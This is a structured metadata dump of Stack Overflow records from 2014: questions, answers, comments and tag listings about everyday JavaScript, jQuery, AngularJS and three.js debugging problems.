has body: I'd really appreciate a little assistance here. Just a basic form to calculate the costs of a few items in JavaScript. I think I'm missing something critical, but I just can't see it. I'm sure it is a really simple solution, I've just been looking at it for too long and it is frustrating me. Right now, my "calculate total" button does not do anything when clicked. &lt;form name="calc" id="books"&gt; Full Name: &lt;input type="text" name="firstname"&gt;&lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;input id="b1" type="checkbox" name="b1" value="book1"&gt;book 1 $159.00 Quantity: &lt;input id="bq1" type="number" size="2" value="1" &gt;&lt;br/&gt; &lt;input id="b2" type="checkbox" name="b2" value="book2"&gt;book 2 $250.00 Quantity: &lt;input id="bq2" type="number" size="2" value="1" &gt;&lt;br/&gt; &lt;input id="b3" type="checkbox" name="b3" value="book3"&gt;book 3 $178.50 Quantity: &lt;input id="bq3" type="number" size="2" value="1" &gt;&lt;br/&gt; &lt;input id="b4" type="checkbox" name="b4" value="book4"&gt;book 4 $143.00 Quantity: &lt;input id="bq4" type="number" size="2" value="1" &gt;&lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;input type="radio" name="campus" value="surface"&gt;Surface Mail&lt;br&gt; &lt;input type="radio" name="campus" value="air"&gt;Air mail &lt;br/&gt; &lt;br/&gt; &lt;input type="submit" value="Submit"&gt; &lt;input type="reset" value="Reset"&gt; &lt;input type="button" onclick="calcmyTotal()" value="Calculate myTotal"&gt; &lt;/form&gt; &lt;p&gt;&lt;/p&gt; &lt;script type="text/javascript"&gt; function myFunction() { document.getElementById("books").reset(); } function calcmyTotal(){ if(document.calc.b1.checked){ myTotal = document.getElementById("bq1")*159; } else if(document.calc.b2.checked){ myTotal = document.getElementById("bq2")*250; } else if(document.calc.b3.checked){ myTotal = document.getElementById("bq3")*178; } else if(document.calc.b4.checked){ myTotal = document.getElementById("bq3")*143; { else{ alert("no books have been selected") } document.…
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
possible better answer: http://stackoverflow.com/a/25835448
has answer: http://stackoverflow.com/a/25833948
has answer: http://stackoverflow.com/a/25835448
has comment: http://stackoverflow.com/comment/40417115
upvote count: 1
type: AnsweredQuestion
downvote count: 3
has title: Button not doing anything when clicked
type: Question
accepted answer: http://stackoverflow.com/a/25833948

http://stackoverflow.com/q/25775833
has title: jquery match several values for data
tagged with: javascript
tagged with: jquery
has body: i'm having a bit of difficulty figuring this out, i basically have the following: &lt;li data-type='filter1 filter2 filter3'&gt;...&lt;/li&gt; &lt;li data-type='filter1 filter2'&gt;...&lt;/li&gt; &lt;li data-type='filter1 filter3'&gt;...&lt;/li&gt; &lt;li data-type='filter2 filter3'&gt;...&lt;/li&gt; and a list of checkboxes to filter: &lt;input type='checkbox' value='filter1' /&gt; filter1 &lt;input type='checkbox' value='filter2' /&gt; filter2 &lt;input type='checkbox' value='filter3' /&gt; filter3 i want to be able to filter the LI list based on selected checkboxes, so for example, if I selected filter1+filter3 , I would only see the 1st and 3rd li, if i select filter1+filter2+filter3, i would only see the 1st li i wrote this piece of code, but doesn't seem to do the job since obviously it matches them 1 at a time so starts showing previously hidden ones thanks! $('.categoriesOnly input[type=checkbox]').change(function() { $('.categoriesOnly input[type=checkbox]').each(function () { var filter = $(this); $("#category-articles .movie[data-theater*='" + filter.data('theater') + "']" ).show(); $("#category-articles .movie").not("[data-theater*='" + filter.data('theater') + "']").hide(); }...
possible better answer: http://stackoverflow.com/a/25775968
score: 0
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25776299
accepted answer: http://stackoverflow.com/a/25776299
has answer: http://stackoverflow.com/a/25775968
type: AnsweredQuestion
type: Question
answer count: 2

http://stackoverflow.com/q/25752572
favorite count: 0
has comment: http://stackoverflow.com/comment/40268871
has answer: http://stackoverflow.com/a/25821348
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40268884
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/25821348
has comment: http://stackoverflow.com/comment/40394839
tagged with: javascript
has body: I'm struggling with creating a function, that interpolates one range to another. I already have a functioning linear interpolation, but getting more 'curved' interpolations, I am stumped. F.ex. I want to interpolate the range [0,100] to [0,1000] in a way, so target-values near 0 is more likely than target-values near 1000 (or vice-versa). One approach I got working was using logarithmic interpolation, which has some annoying drawbacks: I used a crude hack to deal with negative numbers (f.ex. [-70,50]), by offsetting the range before calculating The 'slope' is not adjustable (f.ex. if I want the target-value to be just a bit more likely or a lot more likely than a linear interpolation) function logPol (value, s1, s2, t1, t2) { var f = (value - s1) / ((value - s1) + (s2 - value)); var add = 0; if(t1 &lt;= 0 || t2 &lt;= 0) { add = t1 &gt;= t2? 2 * Math.abs(t2) + 1 : 2 * Math.abs(t1) + 1; t1 += add; t2 += add; } var interpolated = Math.pow(t2,f) * Math.pow(t1, 1-f) - add; return interpolated; }; I've read a lot of articles on quadratic equations, thinking that would solve my problem, but never ended up with a working solution. If I need to explain something further, please let me know.
has title: Non-linear interpolation of a range to another range
answer count: 1
downvote count: 0

http://stackoverflow.com/q/25857919
has title: Displaying Messages Without Using Alerts
possible better answer: http://stackoverflow.com/a/25858026
has comment: http://stackoverflow.com/comment/40461424
has answer: http://stackoverflow.com/a/25857966
accepted answer: http://stackoverflow.com/a/25857966
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25858026
has comment: http://stackoverflow.com/comment/40461058
type: Question
answer count: 2
has body: I am working on a "guess my number" game and have ran into a problem. My game is supposed to select a random integer between 1 and 10 and allow the user to guess until they guess the correct number. After each guess, I'm supposed to display a message telling whether their guess was too high, too low, correct, or if they'd guessed that number before. I had the game working (except for displaying the array of previously guessed numbers) by using alerts to display the whether the user was too high, low, correct, etc like this. if (guess == this.num) { alert("Correct! It took you " + turns " tries to guess my number."); ... } However, going back over the directions I see that we are not supposed to user alerts or any other kinds of pop-ups. So I need to figure out how to display these messages on the screen rather than in an alert box. Here is how I've attempted to do this without the use of alerts, but now the game is not working at all (nothing happens when I click either of the buttons): Guess My Number Would You Like To Play A Game? Thank you for checking out my game. Good luck! Created by Beth Tanner Directions: The game is very simple. I am thinking of a number between 1 and 10. It is your job to guess that number. If you do not guess correctly on your first attempt, don't worry, you can keep guessing until you guess the correct number. Your Guess: How Did You Do?: Here Are Your Guesses So Far:</h3 Is there any simple way to do this. I want the messages to display in a hidden text filed below the heading "How did you do?:" if that makes it a little clearer. Here is a jsfiddle I made with my most recent code, http://jsfiddle.net/3p3f86fj/6/
tagged with: javascript
has comment: http://stackoverflow.com/comment/40461413
score: 0

http://stackoverflow.com/q/25839135
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25839199
has comment: http://stackoverflow.com/comment/40427012
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25839196
type: UnansweredQuestion
has title: div toggling not working how i want it to
has comment: http://stackoverflow.com/comment/40427041
downvote count: 0
score: 1
has body: please take a look at my jsfiddle: http://jsfiddle.net/e8hj27gf/21/ You can see i have a display and hide function, How can i toggle this on and off, using one click event? please keep in mind i require the functionality of being able to close the div if the user clicks outside of it intact. My Javascript: $(document).ready(function () { var container = $("#boxwrapper"); $("#toggleon").click(function (e) { if (!container.is(':visible')) Display(); }); $("#toggleoff").click(function (e) { if (container.is(':visible')) Hide(); }); $(document).mouseup(function (e) { if (!container.is(e.target) &amp;&amp; container.has(e.target).length === 0) { if (container.is(':visible')) Hide(); } }); }); function Display() { $("#boxwrapper").show(); $("#boxwrapper").addClass("box"); } function Hide() { $("#boxwrapper").hide(); } I hope that makes sense!
type: Question
answer count: 2

http://stackoverflow.com/comment/40352947
comment on: http://stackoverflow.com/q/25796329
type: QuestionComment
score: 0
has text: well all the cool kids do it. If you click on the first result when you search Google for "paypal", you get `https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0CB4QFjAA&url=https%3A%2F%2Fwww.paypal.com%2F&ei=sjMSVK_ALM2eugTV64KABg&usg=AFQjCNGLTC3kLD7W4xWhezR7XoOYkhoGQQ&sig2=_Mu8TzWQk8FGM54bj0eNFQ&bvm=bv.75097201,d.dGc`
type: Comment

http://stackoverflow.com/comment/135572742
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25827808
has text: I would be remiss if I did not point out the typo in the last example is in the library, so is correct: "selarrrow" does in fact have 3 character r's in a row. That took a while to debug.

http://stackoverflow.com/q/25800161
tagged with: cookies
score: 1
has comment: http://stackoverflow.com/comment/40360417
type: Question
has body: We have an web application. When we try to access the site using wifi connection the site loads perfectly but when we try it with the cellular data (3G), it opens the site but some of the elements are not loaded. So we tried doing some testing. It turns out if you load the page first time using wifi then it will start loading afterwards on 3G as well until you clear cache and cookies. Wifi connection and 3G have same bandwidth and ping. Our web app uses lot of javascripts and ajax calls to retrieve data. We added cache: false in every ajax calls to prevent caching. When that didnt seemed to work I added timestamp to the url as well which also failed to solve the problem. The issue seemed to be related cookies somehow because once cookies are set the web app works fine. Does anyone know what could be the problem?
tagged with: 3g
downvote count: 0
tagged with: wifi
tagged with: javascript
tagged with: ajax
has title: Site does not work properly on 3G but works on wifi
has comment: http://stackoverflow.com/comment/40356146
favorite count: 0
answer count: 0
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/40360832

http://stackoverflow.com/comment/40362526
has text: Ah, obvious when you know what you're doing! :) Yes, it was loading 2 copies, the one I'd put in app/assets/javascripts and another one that's coming from I don't know where (the source says "assets/jquery.js', but it doesn't seem to be in any of my assets directories).
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25791225

http://stackoverflow.com/q/25766981
upvote count: 2
possible better answer: http://stackoverflow.com/a/27643343
linked to: http://stackoverflow.com/q/15384078
accepted answer: http://stackoverflow.com/a/25768766
type: Question
tagged with: javascript
has body: I am trying to change the geometry of some objects in a three.js scene. I have an almost-working piece of code where a mouse click triggers the change, but got the following problem: the (rendered) shape is only changed on the first mouse click, even though the geometry is also successfully modified by each following clicks. Using v66 or v68 of three.js library, if it is relevant. I read Three.js: Completely change object&#39;s Geometry and Updating a geometry inside a mesh does nothing but couldn't get my code to work so far. Relevant parts of my code: var count = 0, item, geometry; var geoms = [new THREE.SphereGeometry(2), new THREE.BoxGeometry(3, 3, 3)]; function init() { geometry = geoms[count]; item = new THREE.Mesh(geometry, material); scene.add(item); } // Mouse click listener. function handleClick(event) { count = 1 - count; geometry = geoms[count]; item.geometry = geometry; /* With that next line, on the first click, the sphere * becomes a cube (as intended), but further clicks don't * change the view anymore, even though item.geometry is * modified. */ item.geometry.buffersNeedUpdate = true; /* If I try next line instead, I got the following error: * "TypeError: l.geometryGroupsList is undefined" * from three.js. */ // item.geometry.verticesNeedUpdate = true; } Here is a jsfiddle of a (non-)working example. There is a sphere on screen, a click will make it a cube. Further clicks are supposed to switch between sphere and cube, but nothing change on-screen.
has title: Changing a three.js object's geometry
has answer: http://stackoverflow.com/a/25768766
answer count: 2
has answer: http://stackoverflow.com/a/27643343
downvote count: 0
favorite count: 0
linked to: http://stackoverflow.com/q/19977074
tagged with: three.js
score: 2
type: AnsweredQuestion

http://stackoverflow.com/comment/40306344
has text: I'll test that when I get home. But logically that sounds like it'd work better.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25773167
score: 0

http://stackoverflow.com/q/25770486
type: Question
tagged with: wikitude
answer count: 1
has title: Getting user location using wikitude SDK for Android
tagged with: javascript
score: 0
tagged with: android
has answer: http://stackoverflow.com/a/25862568
accepted answer: http://stackoverflow.com/a/25862568
tagged with: geolocation
has body: I'm currently using wikitude sdk 4.0 for android and trying out the the sample of Multiple POIs in my app. https://github.com/Wikitude/wikitude-sdk-samples/tree/master/3_PointOfInterest_3_MultiplePois I got it instantiated but stuck with user location. I don't understand how the user's location is pulled by this Javascript https://github.com/Wikitude/wikitude-sdk-samples/blob/master/3_PointOfInterest_3_MultiplePois/js/multiplepois.js
type: AnsweredQuestion

http://stackoverflow.com/q/25839501
has answer: http://stackoverflow.com/a/25839521
possible better answer: http://stackoverflow.com/a/25840002
score: 2
type: AnsweredQuestion
type: Question
tagged with: angularjs-directive
has title: Angular directive: rescale images, update when ngSrc changes
accepted answer: http://stackoverflow.com/a/25839521
tagged with: javascript
answer count: 2
has comment: http://stackoverflow.com/comment/40427797
tagged with: html5-canvas
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25840002
tagged with: angularjs
upvote count: 2
has body: I've got an Angular directive which currently does its job when the load event is triggered: .directive("testDir", [ function() { return { link: function(scope, elm, attrs) { ... return elm.one("load", function() { return ... }); } }; } ]); this directive is added to an &lt;img&gt; tag, which is sourced from ng-src. The directive is supposed to shrink down the image in size, to achieve better performance on mobile devices. Now my question: I want that the directive function is triggered not .one() time, but after each time the linked variable (via {{}}) of the ng-src does change. How can I realize that? I want the directive to be as independent as possible, so I'd prefer it to have no explicit variable names of the underlying controller in it.

http://stackoverflow.com/a/25779868
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40318802
has comment: http://stackoverflow.com/comment/40318498
has body: It does not work since your HTML has a typo in it &lt;input type="button" id="close" class"close_tag"&gt; ^ should be &lt;input type="button" id="close" class="close_tag"&gt; ^
answers question: http://stackoverflow.com/q/25779819

http://stackoverflow.com/comment/40358903
type: Comment
type: QuestionComment
has text: any console error that creeps in?
score: 0
comment on: http://stackoverflow.com/q/25801693

http://stackoverflow.com/comment/40277410
comment on: http://stackoverflow.com/a/25756806
type: AnswerComment
type: Comment
has text: Thank you. Working as expected.
score: 0

http://stackoverflow.com/comment/40387698
type: AnswerComment
comment on: http://stackoverflow.com/a/25817363
type: Comment
has text: No, because PHP gets processed on the server, it does not show in rendered HTML. The only way for the `:empty` selector don't work is if your div is not in fact empty!
score: 0

http://stackoverflow.com/a/25863191
has comment: http://stackoverflow.com/comment/40472828
has comment: http://stackoverflow.com/comment/40472736
has comment: http://stackoverflow.com/comment/40472240
has comment: http://stackoverflow.com/comment/40472482
has comment: http://stackoverflow.com/comment/40473060
has body: Change to state leads to rerendering the component. You can see that the interval is cleared in componentWillUnmount lifecycle callback. Why you would to have interval in state, if you need to clear it when the component is going to umnount (going to be removed)? Put into state just things that should trigger rerender of component when it changes. The forceUpdate method is there because sometimes you can know that component should be rendered again, but you are not changing the state, so you must explicitly call the forceUpdate method to tell the React it should rerender the component.
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40480200
answers question: http://stackoverflow.com/q/25862814
type: Answer
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/40471050
accepted answer of: http://stackoverflow.com/q/25862814

http://stackoverflow.com/a/25753031
has comment: http://stackoverflow.com/comment/40269972
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25752964
has body: $(document).ready(function() { $('#cookie').click(function() { incrementCount(); }); }); function incrementCounter() { var previousCounter = parseInt($("#counter").text()); previousCounter = isNaN(previousCounter) ? 0: ++previousCounter; $("#counter").text(previousCounter); } function resetCounter() { $("#counter").text(0); } Change HTML to 0 Clicks The above code will look after even if you don't specify 0 with the Span. I have just given you some bonus function - resetCounter too :)
type: Answer
accepted answer of: http://stackoverflow.com/q/25752964
has comment: http://stackoverflow.com/comment/40270042
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40269898
has comment: http://stackoverflow.com/comment/40269949
has comment: http://stackoverflow.com/comment/40270148
has comment: http://stackoverflow.com/comment/40271425

http://stackoverflow.com/comment/66536908
type: Comment
type: QuestionComment
has text: "node-inspector & nodemon --debug filename.js" should work just great. Just one command -line required
comment on: http://stackoverflow.com/q/25798050
score: 0

http://stackoverflow.com/q/25739387
score: 8
favorite count: 0
tagged with: return
upvote count: 8
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25850400
has answer: http://stackoverflow.com/a/25849458
has body: I have a given function that takes, among other arguments, two optional arguments which may be functions. Both need to be optional, one will be a function, and one will either be a boolean or a function that returns a boolean. // Obj.func(variable, String[, Object][, Boolean||Function][, Function]); Obj.func = function(other, assorted, args, BoolOrFunc, SecondFunc) { // execution }; Obj.func( [ 'some', 'data' ], 'of varying types', { and: 'some optional arguments' }, function() { if(some condition) { return true; } return false; }, function() { // do things without returning } ); It is my desire that both functions (and several of the other arguments, if it matters) be optional, which means I have code in the function to determine which arguments the user intended to use. Unfortunately, as both may be functions, and may be specified directly in the function call, I cannot simply use typeof or instanceof conditionals. However, since the first function, if it exists, will always return a boolean (and the second function will not return at all), one idea I had would be to check its return value: if(typeof BoolOrFunc === 'boolean' || (typeof BoolOrFunc === 'function' &amp;&amp; typeof BoolOrFunc() === 'boolean')) { // BoolOrFunc is either a boolean or a function that returns a boolean. // Handle it as the intended argument. } else { // Otherwise, assume value passed as BoolOrFunc is actually SecondFunc, // and BoolOrFunc is undefined. } This works in principle; however, running typeof BoolOrFunc() executes the function, which causes a problem if the function does more than just return a boolean: that is, if the function passed as BoolOrFunc is actually meant to be SecondFunc. SecondFunc, in this case, is something of a callback function, and may perform actions, including DOM modifications, that I don't want to execute immediately. For this reason, my question is: Is there a way to check if a function returns without executing it? One thing I had considered was to call …
has comment: http://stackoverflow.com/comment/40245461
type: Question
tagged with: conditional-statements
tagged with: function
tagged with: javascript
has comment: http://stackoverflow.com/comment/40246964
answer count: 2
has title: Check if JavaScript function returns without executing it?
has comment: http://stackoverflow.com/comment/40447394
downvote count: 0

http://stackoverflow.com/comment/40254399
type: QuestionComment
comment on: http://stackoverflow.com/q/25743676
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/60894/discussion-between-themba-clarence-malungani-and-yamu).
score: 0
type: Comment

http://stackoverflow.com/comment/40253828
comment on: http://stackoverflow.com/a/25743228
score: 0
type: AnswerComment
type: Comment
has text: thanks for this great snippet i am glad. But if you notice from my codes above, the problem lies in list_view.js `initialize:function(){ this.listenTo(this.collection, 'reset', function(){ console.log("reset is called"); //it appears this is never reached this.appendHtml = function(collectionView, itemView){ collectionView.$el.append(itemView.el); } }); }` The `console.log('reset is called')` is never called meaning no reset is available for the collection

http://stackoverflow.com/comment/40245195
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25739319
score: 1
has text: Think I figured out... flush has to have a number of milliseconds specified. When i did it got flushed and all good times!

http://stackoverflow.com/comment/40425677
score: 0
type: AnswerComment
has text: This is a very clear example, so thank you! I actually was able to find my issue from looking how you formatted the js here -- I was nesting the 'toggle' label in the same function as the 'ready' label. whoopsies. thanks!
comment on: http://stackoverflow.com/a/25838457
type: Comment

http://stackoverflow.com/q/25759519
tagged with: javascript
favorite count: 0
accepted answer: http://stackoverflow.com/a/25760625
upvote count: 5
tagged with: angularjs
has title: AngularJS testing $httpBackend.flush() causes error
has answer: http://stackoverflow.com/a/25760625
possible better answer: http://stackoverflow.com/a/25760148
type: AnsweredQuestion
has body: I'm trying to do some testing with jasmine for an AngularJS service that I have been creating for Spotify. But I keep getting an error with my tests when testing promises. My test is currently like this: describe('Spotify.search', function () { var $httpBackend; var $rootScope; var Spotify; var api = 'https://api.spotify.com/v1'; beforeEach(inject(function(_Spotify_, _$httpBackend_, _$rootScope_) { Spotify = _Spotify_; $httpBackend = _$httpBackend_; $rootScope = _$rootScope_; jasmine.getJSONFixtures().fixturesPath='base/test/mock'; })); it('should return an array of artists', function () { $httpBackend.when('GET', api + '/search?q=Nirvana&amp;type=artist').respond( getJSONFixture('search.artist.json') ); Spotify.search('Nirvana', 'artist').then(function (data) { expect(data).toBeDefined(); expect(data.artists.items.length).toBeGreaterThan(0); }); $httpBackend.flush(); //This line causes the error }); }); and the error that comes out is: ✗ should return an array of artists TypeError: 'undefined' is not a function (evaluating '$browser.$$checkUrlChange()') at /Users/XXXX/Work/angular-spotify/bower_components/angular/angular.js:12502 at /Users/XXXX/Work/angular-spotify/bower_components/angular-mocks/angular-mocks.js:1438 at /Users/XXXX/Work/angular-spotify/test/spec/angular-spotify.spec.js:249 Line 249 is $httpBackend.flush() I'm using karma-jasmine and running tests through PhantomJS. AngularJS: 1.2.24 angular-mocks: 1.2.16 angular-scenario: 1.2.16 karma-jasmine: 0.2.0 Why would $httpBackend be trying to change the url in the browser? Any help on this would be great.
type: Question
tagged with: testing
has answer: http://stackoverflow.com/a/25760148
tagged with: karma-jasmine
answer count: 2
score: 5
downvote count: 0

http://stackoverflow.com/q/25783864
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40325670
has body: The popover libraries I looked at generates arrows, ships own CSS and refuse custom HTML. Is there a way to "popoverify" an arbitary div? That is, position it under/next to an anchor element, and listen to escape key and clicks outside of itself (both events make the outermost popover close).
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/40326204
score: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/40325564
tagged with: modal-dialog
tagged with: javascript
tagged with: jquery
tagged with: popover
upvote count: 1
has comment: http://stackoverflow.com/comment/40325668
has title: Turn any div into a popover
linked to: http://stackoverflow.com/q/6263303

http://stackoverflow.com/comment/40273603
score: 0
type: Comment
has text: no. only the defaul remote modal function of bootstrep itself
type: QuestionComment
comment on: http://stackoverflow.com/q/25754973

http://stackoverflow.com/a/25780866
type: Answer
has comment: http://stackoverflow.com/comment/40321379
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25780390
accepted answer of: http://stackoverflow.com/q/25780390
has body: The way the modal works is by putting some classes on the element that you want to show as a modal; then, the CSS works with those classes to cause the element to display in the way you want it to. It sounds like you've still got the classes going onto the elements, but no CSS to put it where you want. I would suggest taking inspiration from the bootstrap sources to work out how to make CSS that does what you want.
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/40514425
comment on: http://stackoverflow.com/q/25862748
score: 0
type: Comment
type: QuestionComment
has text: Thanks Lugaru. I am open to use all kind of framework if it helps.

http://stackoverflow.com/q/25793691
accepted answer: http://stackoverflow.com/a/25793724
possible better answer: http://stackoverflow.com/a/25794023
type: AnsweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/40344100
has title: AngularJS button with external link
tagged with: javascript
answer count: 2
has answer: http://stackoverflow.com/a/25793724
downvote count: 0
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40343650
has body: How can I assign an external link to a button in Angular? I should point a button to the "/auth/signout" url, which is outside of Angular. With links, this works: With buttons I tried Logout and put .controller('notification', ['$scope','$location',function($scope, $location){ $scope.logout = function() { $location.url( '/auth/signout' ); }; }]) in the controller, but nothing happens, probably redirects me to the root of the angular app .otherwise('/'). Also tried location.href( '/auth/signout' ), it throws a TypeError: string is not a function. I could do something like Logout but it seems a bit hacky to me.
tagged with: angularjs
has answer: http://stackoverflow.com/a/25794023
has comment: http://stackoverflow.com/comment/40343419
upvote count: 1

http://stackoverflow.com/a/25782771
answers question: http://stackoverflow.com/q/25782593
upvote count: 1
type: AcceptedAnswer
downvote count: 0
has body: It's not really clear what you wanna get but AFAICU you can use HTML5 progress element and change it's 'value' property while you program running (e.g. if there is loop in your program, you can add 100/(total iterations) every iteration).
type: Answer
score: 1
accepted answer of: http://stackoverflow.com/q/25782593

http://stackoverflow.com/comment/40390742
score: 0
has text: [encodeURIComponent](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25819185

http://stackoverflow.com/comment/40254360
score: 4
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25743994
has text: hahaha don't yell at me i'm just a 28 years old little boy! Almost 30! :) now it becomes : **JSON.stringify(postData)** .. so my output has changed to `'{"objAskGrant":"Yes","objPass":"asdfasdf","objNameSurname":"asdfasdf adfasdf","objEmail":"asdfaf@asdfaf.com","objGsm":3241234123,"objAdres":"asdfasdf","objTerms":"CheckIsValid"}'`... and now i'm having **TypeError: data is null** (need another beer! and for your help!)

http://stackoverflow.com/a/25760854
has body: var field = document.getElementById('nome').willValidate; true when the browser will natively validate the field false when the browser will not validate the field undefined when the browser does not support native HTML5 validation, e.g. IE8. http://dev.w3.org/html5/spec-preview/constraints.html#the-constraint-validation-api if (typeof field !== "undefined") { // native validation available } else { // native validation not available }
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40283852
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/40289161
answers question: http://stackoverflow.com/q/25760661

http://stackoverflow.com/q/25852649
upvote count: 0
answer count: 1
tagged with: javascript
downvote count: 4
has comment: http://stackoverflow.com/comment/40451806
favorite count: 0
has body: Here is My html page which is a basic form that has the list of details for scheduling a test &lt;div class="container panel"&gt; &lt;form ng-submit="submit(testConfigForm)"&gt; &lt;input type="text" name="testName" ng-model="test.testName"&gt; Test Name &lt;br/&gt; &lt;input type="date" name="testDate" ng-model="testConfigForm.testDate"&gt; Test Date &lt;br/&gt; &lt;input type="number" min="0" max="100" name="testTargetScore" ng-model="testConfigForm.testScore"&gt; Test Score &lt;br/&gt; &lt;span ng-repeat="unit in units"&gt; &lt;label&gt;&lt;input type="checkbox" name="checkbox" ng-model="testForm.chapters[$index]"&gt;{{unit.name}}&lt;/label&gt;&lt;br&gt; &lt;/span&gt; &lt;input type="submit" value="Save"&gt; &lt;/form&gt; This is how my controllerlooks like app.controller('TestConfigurationCtrl', ['$scope', '$routeParams', '$sce', '$http', 'chapterService', function ($scope, $routeParams, $sce, $http, unitService) { $scope.chapters = unitService.getUnits(); $scope.postUrl = $sce.trustAsResourceUrl($routeParams.content_item_return_url); $scope.submit = function(testConfigForm) { var config = { "@context" : [], "@graph" : [ { "@type" : "ContentItemPlacement", "placementOf" : { "@type" : "LtiLink", "text" : "test", "mediaType" : "application/vnd.ims.lti.v1.launch+json", "title" : "Test Exam", "custom" : { "name" : testConfigForm.testName, "dueDate" : testConfigForm.testDate, "targetScore" : testConfigForm.testTargetScore, "chapters" : testConfigForm.units }, "activityType" : "abc", "activityId" : "1" } } ] }; $http.post($scope.postUrl, config) .success(function (data, status, headers, config) { $scope[resultVarName] = data; }) .error(function (data, status, headers, config) { $scope[resultVarName] = "SUBMIT ERROR"; }); }; }]); }); How can i post the data from the form. It gives me an error of failed to load resource
has comment: http://stackoverflow.com/comment/40451839
tagged with: angularjs
type: UnansweredQuestion
score: -4
tagged with: form-submit
has title: unable to post data to form in Angular
has answer: http://stackoverflow.com/a/25853045
has comment: http://stackoverflow.com/comment/40451690
type: Question
has comment: http://stackoverflow.com/comment/40451775

http://stackoverflow.com/comment/40419125
score: 0
comment on: http://stackoverflow.com/q/25834537
has text: well whatever you just posted is indeed an ajax request ;)
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40257669
comment on: http://stackoverflow.com/q/25746358
type: Comment
has text: take a look here http://api.jqueryui.com/datepicker/
type: QuestionComment
score: 1

http://stackoverflow.com/comment/40459405
comment on: http://stackoverflow.com/q/25856645
type: Comment
has text: Using `async: false` is dangerous and unnecessary, unless you really know what you're doing.
type: QuestionComment
score: 0

http://stackoverflow.com/comment/40312508
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25775859
has text: Questions seeking debugging help must include the desired behavior, a specific problem or error and the **shortest code** necessary to reproduce it in the question itself.
type: Comment

http://stackoverflow.com/comment/40232906
comment on: http://stackoverflow.com/a/25732081
score: 0
type: Comment
has text: of course :-) R is beautiful ! any way thank you @B.Mr.W
type: AnswerComment

http://stackoverflow.com/a/25858569
score: 3
has comment: http://stackoverflow.com/comment/40472830
has comment: http://stackoverflow.com/comment/79209795
upvote count: 3
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25833618
has body: You should use the setHandler method and provide a callback for 'open'. It'll be safe to send messages there. The service is pretty light and really only intended to ensure that the three SockJS client callbacks (onopen, onclose, onmessage) are called inside a digest cycle. If you wanted, you could easily use it to build a more complex service that among many possibilities could: queues sent messages when the socket is closed and sends them when it opens returns a $q promise that resolves when the socket opens
answers question: http://stackoverflow.com/q/25833618
type: Answer

http://stackoverflow.com/comment/40502335
type: Comment
score: 0
has text: Thanks again Arun. Worked great.
type: AnswerComment
comment on: http://stackoverflow.com/a/25736413

promise
tags question: http://stackoverflow.com/q/25862772
tags question: http://stackoverflow.com/q/25781812
tags question: http://stackoverflow.com/q/25805566
tags question: http://stackoverflow.com/q/25765556
tags question: http://stackoverflow.com/q/25856233
tags question: http://stackoverflow.com/q/25724354
tags question: http://stackoverflow.com/q/25774138
tags question: http://stackoverflow.com/q/25718828
tags question: http://stackoverflow.com/q/25827854
tags question: http://stackoverflow.com/q/25817366
tags question: http://stackoverflow.com/q/25774628
tag name: promise
tags question: http://stackoverflow.com/q/25819072
type: Tag
tags question: http://stackoverflow.com/q/25811693
tags question: http://stackoverflow.com/q/25854418
tags question: http://stackoverflow.com/q/25826706
tags question: http://stackoverflow.com/q/25790463
tags question: http://stackoverflow.com/q/25724015
tags question: http://stackoverflow.com/q/25813337
tags question: http://stackoverflow.com/q/25751723
tags question: http://stackoverflow.com/q/25842500
tags question: http://stackoverflow.com/q/25821939
tags question: http://stackoverflow.com/q/25810728
tags question: http://stackoverflow.com/q/25760919
tags question: http://stackoverflow.com/q/25819744
tags question: http://stackoverflow.com/q/25853260
tags question: http://stackoverflow.com/q/25767885
tags question: http://stackoverflow.com/q/25827234
tags question: http://stackoverflow.com/q/25853197
tags question: http://stackoverflow.com/q/25822843

http://stackoverflow.com/q/25852356
answer count: 0
score: 1
tagged with: error-handling
upvote count: 1
type: Question
tagged with: javascript
